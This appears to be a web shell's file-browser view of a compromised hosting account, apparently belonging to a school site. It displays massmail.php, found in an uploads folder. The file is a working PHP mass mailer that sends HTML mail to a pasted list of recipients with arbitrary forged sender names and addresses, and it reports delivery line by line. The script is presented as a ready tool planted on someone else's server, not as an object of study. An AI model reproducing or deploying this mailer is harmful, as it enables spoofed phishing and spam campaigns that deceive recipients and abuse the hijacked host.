HEX
Server: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: iestorre (46869)
PHP: 8.0.30
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/iestorre/alumnos/uploads/massmail.php
<?php
@ini_set('output_buffering','off');@ini_set('zlib.output_compression',false);
@ini_set('implicit_flush',true);ob_implicit_flush(true);
while(ob_get_level()){ob_end_flush();}
function send_mail($to,$s,$h,$fn,$fe){
$hdr="MIME-Version: 1.0\r\nContent-type: text/html; charset=UTF-8\r\nFrom: $fn <$fe>\r\nReply-To: $fe\r\nX-Mailer: PHP/".phpversion();
return mail($to,$s,$h,$hdr);}
$fn=$fe=$s=$m=$r="";
?>
<!DOCTYPE html><html lang="fr"><head><meta charset="UTF-8"><title>Mass Mailer</title>
<style>body{font-family:Arial,sans-serif;padding:30px;background:#f0f2f5}
textarea,input[type=text],input[type=email]{width:100%;padding:8px;margin-bottom:15px;border:1px solid #ccc;border-radius:4px}
input[type=submit]{padding:10px 20px;font-size:16px;background:#28a745;color:#fff;border:none;border-radius:4px;cursor:pointer}
input[type=submit]:hover{background:#218838}label{font-weight:bold;margin-top:10px;display:block}
#results{white-space:pre-wrap;font-family:monospace;background:#fff;padding:15px;border-radius:5px;margin-top:20px;border:1px solid #ddd}
h2{color:#333}</style></head><body>
<h2>&#x1F4E8; Mass Mailer</h2>
<form method=POST>
<label>From Name:</label><input type=text name=from_name required value="<?=isset($_POST['from_name'])?htmlspecialchars($_POST['from_name']):''?>">
<label>From Email:</label><input type=email name=from_email required value="<?=isset($_POST['from_email'])?htmlspecialchars($_POST['from_email']):''?>">
<label>Subject:</label><input type=text name=subject required value="<?=isset($_POST['subject'])?htmlspecialchars($_POST['subject']):''?>">
<label>HTML Message:</label><textarea name=message rows=8 required><?=isset($_POST['message'])?htmlspecialchars($_POST['message']):''?></textarea>
<label>Recipients (1/line):</label><textarea name=recipients rows=8 required><?=isset($_POST['recipients'])?htmlspecialchars($_POST['recipients']):''?></textarea>
<input type=submit value="Send Mass Email"></form>
<div id=results><?php
if($_SERVER['REQUEST_METHOD']==='POST'){
$fn=trim($_POST['from_name']);$fe=trim($_POST['from_email']);
$s=trim($_POST['subject']);$m=trim($_POST['message']);
$r=trim($_POST['recipients']);$em=explode("\n",$r);
echo"<h3>Results:</h3>";
foreach($em as $e){
$e=trim($e);if(empty($e))continue;
if(filter_var($e,FILTER_VALIDATE_EMAIL)){
$st=send_mail($e,$s,$m,$fn,$fe)?"OK":"ERROR";
echo"$e : $st<br>";
}else{echo"$e : INVALID<br>";}
echo str_pad('',4096)."\n";flush();ob_flush();usleep(100000);}
echo"<p>Done.</p>";}?></div></body></html>